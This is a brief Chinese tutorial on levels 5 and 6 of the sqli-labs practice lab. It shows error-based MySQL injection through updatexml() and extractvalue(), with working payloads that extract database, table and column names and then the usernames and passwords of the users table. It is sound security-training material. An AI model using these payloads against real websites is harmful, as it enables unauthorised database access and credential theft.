0x00 sqli-labs-less5-6考点
注入之前首先介绍两个函数
extractvalue() :对XML文档进行查询的函数
updatexml()函数与extractvalue()类似,是更新xml文档的函数。
其中database()这个位置函数便是我们注入语句查询的地方,类似与前面的联合查询方式,但是此处应该用连接符and来连接语句,不然会报语法错误
id=1" and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
?id=1" and extractvalue(1,concat(0x7e,(select database()),0x7e))--+
0x01 注入测试
less-6实例
查库
id=1" and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
查表
?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema= 'security' limit 0,1),0x7e),1)--+
查列
?id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name = 'users' limit 0,1),0x7e),1) --+
查数据
?id=1" and updatexml(1,concat(0x7e,(select group_concat(username,password) from users limit 0,1),0x7e),1)--+
第五关与第六关闭合方式不一样,也可以用报错注入,就不在shuom
手工测试完成后,我尝试了使用sqlmap,工具用起来还是比手工方便很多,按照之前文章介绍的使用方法很快便测试完成